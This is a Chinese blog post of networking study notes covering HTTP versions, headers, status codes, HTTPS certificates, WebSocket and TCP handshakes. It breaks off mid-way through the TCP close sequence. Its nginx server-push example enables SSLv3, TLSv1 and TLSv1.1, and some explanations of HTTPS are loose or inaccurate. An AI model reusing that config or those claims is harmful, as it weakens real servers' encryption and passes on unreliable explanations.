网络知识相关

Posted by Qz on January 19, 2019

“Yeah It’s on. ”

网络协议

https://mp.weixin.qq.com/s/6DBhbz7eAETXVbPHmOKHww

层级

https://cloud.tencent.com/developer/article/2183899

OSI 体系结构

  • 应用层
  • 表示层
  • 会话层
  • 传输层
  • 网络层
  • 数据链路层
  • 物理层

TCP/IP 体系结构

  • 应用层
  • 传输层
  • 网络层
  • 数据链路层

HTTP

超文本传输协议(英语:HyperText Transfer Protocol,缩写:HTTP)是一种用于分布式、协作式和超媒体信息系统的应用层协议[1]。HTTP是万维网的数据通信的基础。

  • 支持客户端/服务器模型。
  • 灵活
  • 无连接
  • 无状态

HTTP连接的优化

  • 并行连接(能够同一时候和多台server建立HTTP连接)
  • 持久连接
  • 管道化连接
  • 复用的连接

并行连接 长处: 并行连接能够在带宽资源充足的情况下同一时候建立多个HTTP连接,加快页面的载入速度。

缺点: 并行连接在带宽资源不足的情况下会是连接竞争资源。效率反而下降。同一时候建立多条连接会消耗大量内存,对server来说。大量的用户产生大量的连接可能会超过server的处理能力,所以server一般可以关闭来自特定client的超量连接。


持久连接(Keep-Alive/persistent)

长处: 重用已对目标server打开的空暇持久连接,就能够避免缓慢的连接建立阶段。同一时候,已经打开的连接还能够避免慢启动的拥塞适应阶段。以便更快的进行传输数据。

如今的web应用程序都是并行连接+持久连接的形式。

HTTP 的缺点

  • 通信使用明文(不加密),内容可能会被窃听
  • 不验证通信方的身份,因此有可能遭遇伪装
  • 无法证明报文的完整性,所以有可能已遭篡改

由于 HTTP 本身不具备加密的功能,所以也无法做到对通信整体(使 用 HTTP 协议通信的请求和响应的内容)进行加密。即,HTTP 报文 使用明文(指未经过加密的报文)方式发送。

http常用请求头

  • Accept 表示客户端支持的数据格式
  • Accept-Encoding 表示客户端所支持的解码(解压缩)格式
  • Accept-Language 表示客户端支持的语言格式
  • Accept-Charset 表示客户端支持编码格式
  • Authorization 设置HTTP身份验证的凭证
  • Cache-Control 设置请求响应链上所有的缓存机制必须遵守的指令
  • Connection 设置当前连接和hop-by-hop协议请求字段列表的控制选项
  • Content-Type 设置请求体的MIME类型(适用POST和PUT请求)

Content-Type

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Type

  1. text/plain:表示纯文本,没有格式或样式。
  2. text/html:表示 HTML 文档,用于网页。
  3. application/json:表示 JSON 数据。
  4. application/xml:表示 XML 数据。
  5. application/octet-stream:表示二进制数据,常用于文件下载。
  6. multipart/form-data:用于上传文件,常用于表单提交。
  7. image/png、image/jpeg、image/gif:表示图片的不同格式。
  8. application/pdf:表示 PDF 文档。
  9. application/zip:表示压缩文件。

“multipart/form-data” 是一种在 HTTP 请求中使用的数据编码格式。它允许将不同类型的数据(如文本、文件等)作为多部分数据来发送。

当使用 “multipart/form-data” 编码格式时,请求消息的主体被分割为多个部分,每个部分都包含一个头部和一个数据段。每个数据段可以是文本或文件,并可以附加额外的元数据。

multipart/form-data

multipart/form-data 类型HTTP请求详解

POST请求时发送FormData类型的数据会将设置multipart/form-data,完整的设置如下:

Content-Type: multipart/form-data; boundary=xxxx

前半部分代表数据类型,而boundary代表分隔符,boundary对应的xxxx是由请求方自定义设置的。

const formData = new FormData()

formData.append('file', file)
formData.append('firstName', 'Harlan')
formData.append('LastName', 'Zhang')

http.post('example.com', formData)

使用 formData 时 我们不需要设置Content-Type

使用 formData 时 我们不需要设置Content-Type

使用 formData 时 我们不需要设置Content-Type

如果我们手动设置了Content-type,会覆盖掉浏览器自己的设置,而因为我们不知道formData对象里面的boundary分隔符是什么,所以就会导致后端接受到数据以后在Content-type中找不到boundary或者boundary的值与formData中的boundary不一致,导致无法获取正确的数据。

http常用响应头

  • Access-Control-Allow-Origin 指定哪些网站可以跨域源资源共享
  • Allow 对于特定资源的有效动作;
  • Cache-Control 通知从服务器到客户端内的所有缓存机制,表示它们是否可以缓存这个对象及缓存有效时间。其单位为秒
  • Content-Type 当前内容的MIME类型
  • ETag 对于某个资源的某个特定版本的一个标识符
  • Expires 指定一个日期/时间,超过该时间则认为此回应已经过期
  • Last-Modified 所请求的对象的最后修改日期

method

GET和POST区别

  • GET把参数包含在URL中,POST通过request body传递参数
  • GET请求会被浏览器主动cache,而POST不会,除非手动设置。
  • GET请求只能进行url编码,而POST支持多种编码方式。
  • GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留
  • 对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
  • GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。

PATCH和POST和PUT区别

POST

  • POST方法用于创建新的子资源或提交数据给服务器进行处理
  • POST方法是非幂等的,即多次调用相同的POST请求可能会产生不同的结果。

PATCH

(在工作中基本很少用到,用PUT代替)

  • PATCH方法用于部分更新资源
  • PATCH 请求是非幂等的

PUT

  • PUT方法用于更新或替代服务器上的资源
  • PUT方法用于完全替换资源
  • PUT方法是幂等的

Cache-Control

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Cache-Control

Cache-Control 通用消息头字段,被用于在 http 请求和响应中

http状态码

  • 2xx 表示成功处理请求
  • 3xx 需要重定向,浏览器直接跳转
  • 4xx 客户端请求错误
  • 5xx 服务器端错误

301 Moved Permanently

永久性重定向。该状态码表示请求的资源已被分配了新的 URI,以后 应使用资源现在所指的 URI。也就是说,如果已经把资源对应的 URI 保存为书签了,这时应该按 Location 首部字段提示的 URI 重新保存。

302 Found

临时性重定向。该状态码表示请求的资源已被分配了新的 URI,希望 用户(本次)能使用新的 URI 访问。

303 See Other

该状态码表示由于请求对应的资源存在着另一个 URI,应使用 GET 方法定向获取请求的资源。

303 状态码和 302 Found 状态码有着相同的功能,但 303 状态码明确 表示客户端应当采用 GET 方法获取资源,这点与 302 状态码有区 别。

304 Not Modified

该状态码表示客户端发送附带条件的请求时,服务器端允许请求访 问资源,但未满足条件的情况。304 状态码返回时,不包含任何响应 的主体部分。304 虽然被划分在 3XX 类别中,但是和重定向没有关 系。

附带条件的请求是指采用 GET 方法的请求报文中包含 If-Match,If-ModifiedSince,If-None-Match,If-Range,If-Unmodified-Since 中任一首部。

401 Authorization Required

告知客户端需要进行认证

返回带 WWW-Authenticate 首部字段的响应。 该字段内包含认证的方式(BASIC) 及 Request-URI 安全域字符串 (realm)。

接收到状态码 401 的客户端为了通过 BASIC 认证,需要将 用户 ID 及密码发送给服务器。发送的字符串内容是由用户 ID 和密码 构成,两者中间以冒号(:)连接后,再经过 Base64 编码处理。

假设用户 ID 为 guest,密码是 guest,连接起来就会形成 guest:guest 这 样的字符串。然后经过 Base64 编码,最后的结果即是 Z3Vlc3Q6Z3Vlc3Q=。把这串字符串写入首部字段 Authorization 后, 发送请求。

当用户代理为浏览器时,用户仅需输入用户 ID 和密码即可,之后, 浏览器会自动完成到 Base64 编码的转换工作。

428 Precondition Required (要求先决条件)

先决条件是客户端发送 HTTP 请求时,必须要满足的一些预设条件。一个好的例子就是 If-None-Match 头,经常用在 GET 请求中。如果指定了 If-None-Match ,那么客户端只在响应中的 ETag 改变后才会重新接收回应。

先决条件的另外一个例子是 If-Match 头,一般用在 PUT 请求上,用于指示只更新但没有被改变的资源。这在多个客户端使用 HTTP 服务时用来防止彼此间覆盖相同内容的情况。

当服务器端使用 428 Precondition Required 状态码时,表示客户端必须发送上述的请求头才能执行该请求操作。这个方法为服务器提供一种有效的方法来阻止 “lost update”问题的出现。

429 Too Many Requests (太多请求)

当你需要限制客户端请求某个服务的数量,也就是限制请求速度时,该状态码就会非常有用。在此之前,有一些类似的状态码。例如“509 Bandwidth Limit Exceeded”。

如果你希望限制客户端对服务的请求数,可使用 429 状态码,同时包含一个 Retry-After 响应头用于告诉客户端多长时间后可以再次请求服务

431 Request Header Fields Too Large (请求头字段太大)

某些情况下,客户端发送 HTTP 请求头会变得很大,那么服务器可发送 431 Request Header Fields Too Large 来指明该问题。

502 和 504

https://mp.weixin.qq.com/s/WK_yzjA23BTfs6B0243ZLw

这两种异常状态码都与网关 Gateway 有关,首先明确两个概念

  • Proxy (Gateway),反向代理层或者网关层。在公司级应用中一般使用 Nginx 扮演这个角色
  • Application (upstream serrver),应用层服务,作为 Proxy 层的上游服务。在公司中一般为各种语言编写的服务器应用,如 Go/Java/Python/PHP/Node 等

此时关于 502 与 504 的区别就很显而易见

  • 502 Bad Gateway。一般表现为你自己写的应用层服务(Java/Go/PHP)挂了,网关层无法接收到响应
  • 504 Gateway Timeout。一般表现为应用层服务 (upstream) 超时,如查库操作耗时十分钟,超过了 Nginx 配置的超时时间

HTTP1.1

如果页面中发起了多个http请求,此时只需要建立一个tcp连接就可以了,多个http请求响应会共用这一个tcp连接通道。

相比1.0,优势在于:

  • 增加持久性连接
  • 增加管道机制
  • 分块传输
  • 增加 host 字段
  • 错误提示
  • 带宽优化

管道化

https://cloud.tencent.com/developer/article/1509279

管线化机制须通过永久连接(persistent connection)完成,仅HTTP/1.1支持此技术(HTTP/1.0不支持)

在使用持久连接的情况下,某个连接消息的传递类似于

  • 请求1 -> 响应1 -> 请求2 -> 响应2

管线化:某个连接上的消息变成了类似这样

  • 请求1 -> 请求2 -> 请求3 -> 响应1 -> 响应2 -> 响应3

图片

持久连接的一个缺点是请求和响应式是顺序执行的,只有在请求1的响应收到之后,才会发送请求2,而管线化不需要等待上一次请求得到响应就可以进行下一次请求。实现并行发送请求。

只有GET和HEAD要求可以进行管线化,而POST则有所限制

管道化要求服务端按照请求发送的顺序返回响应(FIFO),原因很简单,HTTP请求和响应并没有序号标识,无法将乱序的响应与请求关联起来。

当客户端在支持管道化时需要保持未收到响应的请求,当连接意外中断时,需要重新发送这部分请求。如果这个请求只是从服务器获取数据,那么并不会对资源造成任何影响,而如果是一个提交信息的请求如post请求,那么可能会造成资源多次提交从而改变资源,这是不允许的。而不会对服务器资源产生影响的请求有个专业名词叫做幂等请求。客户端在使用管道化的时候请求方式必须是幂等请求。

因为HTTP管道化本身可能会导致队头阻塞的问题,以及上面提到的一些限制,现代浏览器默认都关闭了管道化,并且大部分服务器也是默认不支持管道化的

带宽优化

HTTP/1.1 中在请求消息中引入了 range头域,它允许只请求资源的某个部分。

在响应消息中 Content-Range头域声明了返回的这部分对象的偏移值和长度。如果服务器相应地返回了对象所请求范围的内容,则响应码为 206(PartialContent),它可以防止 Cache将响应误以为是完整的一个对象,HTTP/1.1 加入了一个新的状态码 100(Continue)。客户端事先发送一个只带头域的请求,如果服务器因为权限拒绝了请求,就回送响应码 401(Unauthorized);如果服务器接收此请求就回送响应码 100,客户端就可以继续发送带实体的完整请求了。

注意,HTTP/1.0 的客户端不支持 100 响应码。但可以让客户端在请求消息中加入 Expect头域,并将它的值设置为 100-continue

HTTP1.1的缺陷

  • 高延迟 — 队头阻塞(Head-Of-Line Blocking)
  • 无状态特性 — 阻碍交互
  • 明文传输 — 不安全性
  • 不支持服务端推送

队头阻塞

队头阻塞是指当顺序发送的请求序列中的一个请求因为某种原因被阻塞时,在后面排队的所有请求也一并被阻塞,会导致客户端迟迟收不到数据。

针对队头阻塞:

  1. 将同一页面的资源分散到不同域名下,提升连接上限。虽然能公用一个 TCP 管道,但是在一个管道中同一时刻只能处理一个请求,在当前的请求没有结束之前,其他的请求只能处于阻塞状态。
  2. 减少请求数量
  3. 内联一些资源:css、base64 图片等
  4. 合并小文件减少资源数

客户端建立长连接的个数是针对域名发起的,举例说明,当我们访问a.com网站的时候,客户端与a.com服务器建立的长链接就是2个。但是一般浏览器会把并发链接数增加到6到8个,谷歌浏览器是6个


无状态特性

无状态是指协议对于连接状态没有记忆能力。纯净的 HTTP 是没有 cookie 等机制的,每一个连接都是一个新的连接。上一次请求验证了用户名密码,而下一次请求服务器并不知道它与上一条请求有何关联,换句话说就是掉登录态。


不安全性

传输内容没有加密,中途可能被篡改和劫持。

HTTP2

HTTP2 基于 SPDY,专注于性能,最大的一个目标是在用户和网站间只用一个连接。

http/1.x 是一个超文本协议,而 http2 是一个二进制协议,被称之为二进制分帧。

协议格式为帧,帧由 Frame Header(头信息帧)和 Frame Payload(数据帧)组成

头部压缩 HPACK

优势

二进制分帧

首先,HTTP2 没有改变 HTTP1 的语义。因此,也引入了新的通信单位:帧、消息、流

在应用层(HTTP/2.0)和传输层(TCP or UDP)之间增加一个二进制分帧层,从而突破 HTTP1.1 的性能限制,改进传输性能实现低延迟高吞吐量

简单来说,HTTP/2.0 只是把原来 HTTP1.x 的 headerbody 部分用 frame 重新封装了一层而已。

分帧有什么好处?服务器单位时间接收到的请求数变多,可以提高并发数。最重要的是,为多路复用提供了底层支持。

图片

多路复用

一个域名对应一个连接,一个流代表了一个完整的请求-响应过程。帧是最小的数据单位,每个帧会标识出该帧属于哪个流,流也就是多个帧组成的数据流。多路复用,就是在一个 TCP 连接中可以存在多个流。

图片

从图中可见,所有的 HTTP/2.0 通信都在一个 TCP 连接上完成,这个连接可以承载任意数量的双向数据流。

每个数据流以消息的形式发送,而消息由一或多个帧组成。这些帧可以乱序发送,然后再根据每个帧头部的流标识符( stream id)重新组装。


服务器推送(Server Push)

https://www.ruanyifeng.com/blog/2018/03/http2_server_push.html

简单的说,HTTP/2 所谓的server push其实是当服务器接收一个请求时,可以响应多个资源。

举个栗子:浏览器向服务器请求index.html,服务器不仅把index.html返回了,还可以把index.js,index.css等一起推送给客户端。最直观的好处就是,浏览器不用解析页面再发起请求来获取数据,节约了页面加载时间。

// conf/conf.d/default.conf

server {
    listen 443 ssl http2;
    server_name  localhost;

    ssl                      on;
    ssl_certificate          /etc/nginx/certs/example.crt;
    ssl_certificate_key      /etc/nginx/certs/example.key;

    ssl_session_timeout  5m;

    ssl_ciphers HIGH:!aNULL:!MD5;
    ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers   on;

    location / {
      root   /usr/share/nginx/html;
      index  index.html index.htm;
      http2_push /style.css;
      http2_push /example.png;
    }
}

其实就是最后多了两行http2_push命令。它的意思是,如果用户请求根路径/,就推送style.cssexample.png

举个例子:

后端实现:

上面的服务器推送,需要写在服务器的配置文件里面。这显然很不方便,每次修改都要重启服务,而且应用与服务器的配置不应该混在一起。

服务器推送还有另一个实现方法,就是后端应用产生 HTTP 回应的头信息Link命令。服务器发现有这个头信息,就会进行服务器推送。

Link: </styles.css>; rel=preload; as=style

如果要推送多个资源,就写成下面这样。

Link: </styles.css>; rel=preload; as=style, </example.png>; rel=preload; as=image

这时,Nginx 的配置改成下面这样。

server {
listen 443 ssl http2;

# ...

root /var/www/html;

location = / {
proxy_pass http://upstream;
http2_push_preload on;
}
}

如果服务器或者浏览器不支持 HTTP/2,那么浏览器就会按照 preload 来处理这个头信息,预加载指定的资源文件。

首部压缩

HTTP1.1 不支持 header 数据的压缩,HTTP/2.0 使用 HPACK 算法对 header 的数据进行压缩,这样数据体积小了,在网络上传输就会更快。高效的压缩算法可以很大的压缩 header ,减少发送包的数量从而降低延迟。

缺陷

  • TCP 以及 TCP+TLS 建立连接的延时
  • TCP 的队头阻塞并没有彻底解决
  • 多路复用导致服务器压力上升
  • 多路复用容易 Timeout

多路复用导致服务器压力上升

多路复用没有限制同时请求数。请求的平均数量与往常相同,但实际会有许多请求的短暂爆发,导致瞬时 QPS 暴增。


多路复用容易 Timeout

大批量的请求同时发送,由于 HTTP2 连接内存在多个并行的流,而网络带宽和服务器资源有限,每个流的资源会被稀释,虽然它们开始时间相差更短,但却都可能超时。

即使是使用 Nginx 这样的负载均衡器,想正确进行节流也可能很棘手。其次,就算你向应用程序引入或调整排队机制,但一次能处理的连接也是有限的。如果对请求进行排队,还要注意在响应超时后丢弃请求,以避免浪费不必要的资源。


TCP 的队头阻塞并没有彻底解决

当 TCP 数据包在传输过程中丢失时,在服务器重新发送丢失的数据包之前,接收方无法确认传入的数据包。由于 TCP 在设计上不遵循 HTTP 之类的高级协议,因此单个丢失的数据包将阻塞所有进行中的 HTTP 请求的流,直到重新发送丢失的数据为止

HTTP3

HTTP3 背后的主要思想是放弃 TCP,转而使用基于 UDP 的 QUIC (快速UDP互联网连接)协议。

为了解决传输级别的线头阻塞问题,通过 QUIC 连接传输的数据被分为一些流。流是持久性 QUIC 连接中短暂、独立的“子连接”。每个流都处理自己的错误纠正和传递保证,但使用连接全局压缩和加密属性。每个客户端发起的 HTTP 请求都在单独的流上运行,因此丢失数据包不会影响其他流/请求的数据传输。

OAuth

OAuth协议,是一种授权协议,不涉及具体的代码,只是表示一种约定的流程和规范。OAuth协议一般用于用户决定是否把自己在某个服务商上面的资源(比如:用户基本资料、照片、视频等)授权给第三方应用访问。此外,OAuth2.0协议是OAuth协议的升级版,现在已经逐渐成为单点登录(SSO)和用户授权的标准。、

  • 第一,用户不再需要注册大量账号。在以前,我们每使用一个新的网站或者APP就需要注册一个账号,建立一套新的账户体系才能使用网站 / APP提供的服务。但是现在我们只需要拥有几个主流应用的账号,然后通过他们提供的第三方账号登录就可以使用一个新的网站/APP了(当然,我们也可以不使用腾讯百度等公司提供的授权服务,开发自己的授权服务端,这方面的内容我将放在下篇文章中介绍)。
  • 第二,用于单点登录。如果某个公司有很多个需要用户登录才能提供服务的子产品(比如:官网、M网站、APP、微信公众号、使用同一套账户体系的产品1、产品2等等),这种情况下为每个产品都开发一个登录、授权模块显然是不太优雅,因此比较好的解决方案就是所有需要登录的产品都请求同一个登录授权中心,进行统一登录授权处理。而OAuth2.0协议就可以实现符合上述要求的单点登录功能。
  • 第三,用于分布式系统的权限控制。因为基于OAuth2.0协议获得的令牌(Access Token)同时关联了接入的第三方应用、授权用户、权限范围等信息。因此,在第三方应用拿着Token请求资源的时候,资源服务应用就可以很容易根据其访问权限返回相应的数据。

使用授权码模式完成OAuth2.0授权的过程需要以下三个步骤:

  1. client请求授权服务端,获取Authorization Code
  2. client通过Authorization Code再次请求授权服务端,获取Access Token
  3. client通过服务端返回的Access Token获取用户的基本信息

HTTPS

彻底搞懂HTTPS的加密原理

一个故事讲完https

HTTPS 并非是应用层的一种新协议。只是 HTTP 通信接口部分用 SSL(Secure Socket Layer)和 TLS(Transport Layer Security)协议代替而已。

通常,HTTP 直接和 TCP 通信。当使用 SSL 时,则演变成先和 SSL 通信,再由 SSL 和 TCP 通信了。简言之,所谓 HTTPS,其实就是身披 SSL 协议这层外壳的 HTTP。

图片

图片

  1. 某网站拥有用于非对称加密的公钥A、私钥A’。
  2. 浏览器向网站服务器请求,服务器把公钥A明文给传输浏览器。
  3. 浏览器随机生成一个用于对称加密的密钥X,用公钥A加密后传给服务器。
  4. 服务器拿到后用私钥A’解密得到密钥X。
  5. 这样双方就都拥有密钥X了,且别人无法知道它。之后双方所有数据都通过密钥X加密解密即可。

用公钥加密的内容必须用私钥才能解开,同样,私钥加密的内容只有公钥能解开。

HTTPS 采用混合加密机制

HTTPS 采用共享密钥加密和公开密钥加密两者并用的混合加密 机制。若密钥能够实现安全交换,那么有可能会考虑仅使用公开 密钥加密来通信。但是公开密钥加密与共享密钥加密相比,其处 理速度要慢。

所以应充分利用两者各自的优势,将多种方法组合起来用于通 信。在交换密钥环节使用公开密钥加密方式,之后的建立通信交 换报文阶段则使用共享密钥加密方式。

TLS/SSL 的功能实现主要依赖于三类基本算法:散列函数 、对称加密和非对称加密,其利用非对称加密实现身份认证和密钥协商,对称加密算法采用协商的密钥对数据加密,基于散列函数验证信息的完整性

图片

公开密钥加密处理起来比共享密钥加密方式更为复杂,因此若在通信时使用公开密钥加密方式,效率就很低。

SSL

虽然使用 HTTP 协议无法确定通信方,但如果使用 SSL 则可以。 SSL 不仅提供加密处理,而且还使用了一种被称为证书的手段, 可用于确定方。

证书由值得信任的第三方机构颁发,用以证明服务器和客户端是 实际存在的。另外,伪造证书从技术角度来说是异常困难的一件 事。所以只要能够确认通信方(服务器或客户端)持有的证书, 即可判断通信方的真实意图

公开密钥加密

SSL 采用一种 叫做公开密钥加密(Public-key cryptography)的加密处理方式

近代的加密方法中加密算法是公开的,而密钥却是保密的。通过这种 方式得以保持加密方法的安全性

加密和解密都会用到密钥。没有密钥就无法对密码解密,反过来说, 任何人只要持有密钥就能解密了。如果密钥被攻击者获得,那加密也 就失去了意义

共享密钥加密的困境

加密和解密同用一个密钥的方式称为共享密钥加密(Common key crypto system),也被叫做对称密钥加密


公开密钥加密方式很好地解决了共享密钥加密的困难。

公开密钥加密使用一对非对称的密钥。一把叫做私有密钥 (private key),另一把叫做公开密钥(public key)。顾名思 义,私有密钥不能让其他任何人知道,而公开密钥则可以随意发 布,任何人都可以获得。

使用公开密钥加密方式,发送密文的一方使用对方的公开密钥进 行加密处理,对方收到被加密的信息后,再使用自己的私有密钥 进行解密。利用这种方式,不需要发送用来解密的私有密钥,也 不必担心密钥被攻击者窃听而盗走。

另外,要想根据密文和公开密钥,恢复到信息原文是异常困难 的,因为解密过程就是在对离散对数进行求值,这并非轻而易举 就能办到。退一步讲,如果能对一个非常大的整数做到快速地因 式分解,那么密码破解还是存在希望的。但就目前的技术来看是 不太现实的。

RSA : 非对称加密

这个RSA算法非常有意思,它不是像之前的算法, 双方必须协商一个保密的密钥, 而是有一对儿钥匙, 一个是保密的,称为私钥,另外一个是公开的,称为公钥

更有意思的是,用私钥加密的数据,只有对应的公钥才能解密,用公钥加密的数据, 只有对应的私钥才能解密

在https中的应用就是:

分两步走

  • 我生成一个对称加密算法的密钥, 用RSA的方式安全发给你
  • 我们随后就不用RSA了, 只用这个密钥,利用对称加密算法来通信

确定公钥一定是安全的公钥

(防止中间人攻击)

这个等同于如何防止被串改

我们没有办法确定我们通过RSA得到的公钥就一定是安全的公钥?

可能存在一个中间人,截取 了对方发给我们的公钥,然后将他自己的公钥发送给我们,当我们使用他的公钥加密后发送的信息,就可以被他用自己的私钥 解密。然后他伪装成我们以同样的方法向对方发送信息,这样我们的信息就被窃取了,然而我们自己还不知道。

但是怎么安全地分发公钥呢?

为了解决这样的问题,我们可以使用数字证书的方式,首先我们使用一种 Hash 算法来对我们的公钥和其他信息进行加密生成 一个信息摘要,然后让有公信力的认证中心(简称 CA )用它的私钥对消息摘要加密,形成签名。最后将原始的信息和签名合 在一起,称为数字证书。

当接收方收到数字证书的时候,先根据原始信息使用同样的 Hash 算法生成一个摘要,然后使用公证 处的公钥来对数字证书中的摘要进行解密,最后将解密的摘要和我们生成的摘要进行对比,就能发现我们得到的信息是否被更改 了。这个方法最要的是认证中心的可靠性,一般浏览器里会内置一些顶层的认证中心的证书,相当于我们自动信任了他们,只有 这样我们才能保证数据的安全。

数字签名

签名的过程其实也很简单

  1. CA机构拥有非对称加密的私钥和公钥
  2. CA对证书明文信息进行hash
  3. 对hash后的值用私钥加密,得到数字签名

CA机构颁发的证书包含(证书内容的明文+签名)

浏览器收到服务下发的证书之后,拿到证书明文和签名,怎么验证是否篡改了呢?

  1. 拿到证书里面明文的hash算法并对明文内容进行hash运算,得到A
  2. 用CA的公钥解密签名得到B
  3. 比较A 和 B,如果相等,说明没有被篡改,否则浏览器提示证书不可信

HTTPS可以防止中间人篡改内容吗

可以。

其实只要在服务端发送公钥这个阶段,公钥不被中间人获取篡改,那么问题就解决了,所以如何才能保证公钥不被中间人获取呢,方法就是 用数字证书对公钥进行加密

HTTPS 绝对安全吗

https://www.zhihu.com/question/20900055

尽管是https工作在TLS/SSL上的数据是安全的,但是工作在TLS/SSL层之下的数据是不安全的,参考SSL/TLS所在位置,例如抓包软件能够轻松截获你与哪些服务器进行了通信,换句话说,API地址暴露了。

中间人攻击,参见iOS抓包利器Charles

首先charles伪装成服务端和客户端通信,并同时伪装成客户端与服务器通信,充当中间角色,从而截获数据

抓包工具原理

在客户端授权的情况下,可以组建中间人网络,而抓包工具便是作为中间人的代理。通常,HTTPS抓包工具会生成一个证书(类比的假证书),用户安装在客户端或添加信任。此时,客户端先与抓包工具通信,抓包工具再将请求转发到服务器,服务器返回的信息,抓包工具可进行处理或输出,然后再返回给客户端。

因此,HTTPS的安全性更多的体现在用户不知情的情况下进行的访问,如果用户已知情或主动授信,表明用户已经明确了风险,此时如果出现中间人攻击的问题,HTTPS还是不安全的。

MQTT

https://aws.amazon.com/cn/what-is/mqtt/

MQTT 是一种基于标准的消息传递协议或规则集,用于机器对机器的通信。智能传感器、可穿戴设备和其他物联网(IoT)设备通常必须通过带宽有限的资源受限网络传输和接收数据。这些物联网设备使用 MQTT 进行数据传输,因为它易于实施,并且可以有效地传输物联网数据。MQTT 支持设备到云端和云端到设备之间的消息传递。

webscoket

https://developer.mozilla.org/zh-CN/docs/Web/API/WebSocket

WebSocket 是基于TCP 的一种新的应用层网络协议。 它实现了浏览器与服务器全双工通信,即允许服务器主动发送信息给客户端。 因此,在WebSocket 中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输,客户端和服务器之间的数据交换变得更加简单

应用层协议、基于 TCP、全双工通信、一次握手、持久连接、双向数据传输

特点:

  • 建立在 TCP 协议之上;
  • 与 HTTP 协议有着良好的兼容性:默认端口也是 80(ws) 和 443(wss,运行在 TLS 之上),并且握手阶段采用 HTTP 协议;
  • 较少的控制开销:连接创建后,ws 客户端、服务端进行数据交换时,协议控制的数据包头部较小,而 HTTP 协议每次通信都需要携带完整的头部;
  • 可以发送文本,也可以发送二进制数据;
  • 没有同源限制,客户端可以与任意服务器通信;
  • 协议标识符是 ws(如果加密,则为 wss),服务器网址就是 URL;
  • 支持扩展:ws 协议定义了扩展,用户可以扩展协议,或者实现自定义的子协议

建立连接

在 WebSocket 开始通信之前,通信双方需要先进行握手,WebSocket 复用了 HTTP 的握手通道,即客户端通过 HTTP 请求与 WebSocket 服务端协商升级协议。协议升级完成后,后续的数据交换则遵照 WebSocket 的协议。

利用 HTTP 完成握手有什么好处呢?

一是可以让 WebSocket 和 HTTP 基础设备兼容(运行在 80 端口 或 443 端口),二是可以复用 HTTP 的 Upgrade 机制,完成升级协议的协商过程。

WebSocket是基于TCP的,TCP的握手和WebSocket的握手是不同层次的。

TCP的握手用来保证链接的建立,WebSocket的握手是在TCP链接建立后告诉服务器这是个WebSocket链接,服务器你要按WebSocket的协议来处理这个TCP链接。

Handshake

收到状态码:

101 WebSocket Protocol HandShake

101 Switching Protocols

WebSocket Protocol Handshake是指WebSocket协议的握手过程。

WebSocket是一种在Web浏览器和服务器之间进行全双工通信的协议,可以实现实时数据传输。在建立WebSocket连接之前,需要进行握手来确认浏览器和服务器是否支持WebSocket协议,并进行必要的协议升级。

在WebSocket Protocol Handshake过程中,浏览器首先发送一个HTTP请求到服务器,请求头中包含了一些WebSocket相关的信息。服务器接收到请求后,会进行验证,并返回一个HTTP响应,响应头中包含了一些关于WebSocket支持的信息。

维持连接

如果我们使用 WebSocket 进行通信,建立连接之后怎么判断连接正常没有断开或者服务是否可用呢?

可以通过建立心跳机制,所谓心跳机制,就是定时发送一个数据包,让对方知道自己在线且正常工作,确保通信有效。如果对方无法响应,便可以弃用旧连接,发起新的连接了。

使用ping/pong心跳包可以有效地监测和处理连接的状态,避免长时间的无响应或断开连接情况的发生,提高连接的稳定性和可靠性。

通信过程

  1. 握手(Handshake):客户端通过HTTP协议发送Upgrade请求头部,服务器接收到请求后回复Sec-WebSocket-Accept头部响应,并完成握手过程。

  2. 数据传输:握手成功后,客户端和服务器建立WebSocket连接,双方可以通过WebSocket协议进行双向通信。

    a. 客户端向服务器发送数据:客户端可以通过WebSocket的send()方法向服务器发送数据,数据经过WebSocket协议封装后通过TCP/IP传输到服务器。

    b. 服务器向客户端发送数据:服务器可以通过WebSocket的send()方法向客户端发送数据,数据经过WebSocket协议封装后通过TCP/IP传输到客户端。

  3. 连接关闭:客户端或服务器可以通过WebSocket的close()方法主动关闭连接,或者当连接出现错误时自动关闭。关闭连接时,双方都会收到一条关闭帧(Close Frame)。

需要注意的是,WebSocket通信过程中的数据是以二进制格式进行传输的,而不是像HTTP协议那样以文本格式传输。因此,在传输数据时,客户端和服务器需要将数据按照WebSocket协议的规定进行封装和解析。此外,WebSocket通信是一种长连接,可以保持连接状态,双方可以实时进行数据传输。

TCP

TCP协议对应于传输层,而HTTP协议对应于应用层,Http协议是建立在TCP协议基础之上的

TCP(传输控制协议)是一个面向连接的传输层协议,属于互联网协议套件中的一部分。它提供了一种可靠的、双向的字节流服务,确保数据在两个端点之间的传输是准确且有序的。TCP通过以下方式实现可靠性:

  1. 连接建立:使用三次握手过程建立连接,确保双方准备就绪进行数据传输。
  2. 数据分段:将数据分成合适大小的段进行传输。
  3. 错误检测与重传:使用校验和来检测传输错误,并在发生问题时重传数据。
  4. 流量控制:TCP使用滑动窗口机制控制数据流,以防止接收方被过多数据淹没。
  5. 拥塞控制:TCP根据网络状况调整数据传输速率,避免网络堵塞。

TCP/IP 是一组网络协议的统称,其中“TCP”指的是传输控制协议,而“IP”指的是互联网协议。TCP/IP协议套件是现代互联网通信的基础,涵盖了从数据链路层到应用层的各种协议。IP负责数据的路由和寻址,而TCP在其之上提供可靠的数据传输服务。

三次握手

三次握手可以简化为:C发起请求连接S确认,也发起连接C确认

我们再看看每次握手的作用:

  1. 第一次握手:S只可以确认 自己可以接受C发送的报文段
  2. 第二次握手:C可以确认 S收到了自己发送的报文段,并且可以确认 自己可以接受S发送的报文段
  3. 第三次握手:S可以确认 C收到了自己发送的报文段

为什么握手不是两次

根本原因:无法确认客户端的接收能力

可能出现的问题是,两次握手,服务端只要接收到然后发送相应的数据包,就 默认连接 了 ,但是事实上现在客户端可能已经断开连接了,这样也就带来了连接资源的浪费

四次挥手

因为TCP是双工通信,客户端和服务端两个方向上都有数据传输,之所以要四次挥手,因为一次挥手加确认,只代表一方不再发送数据,但另一方可能数据还没发送完,处理完后再一次挥手完成断开

img

  • 首先客户端主动关闭,向服务器发FIN报文
  • 服务端接收后通知应用进程并向客户端发送ACK确认
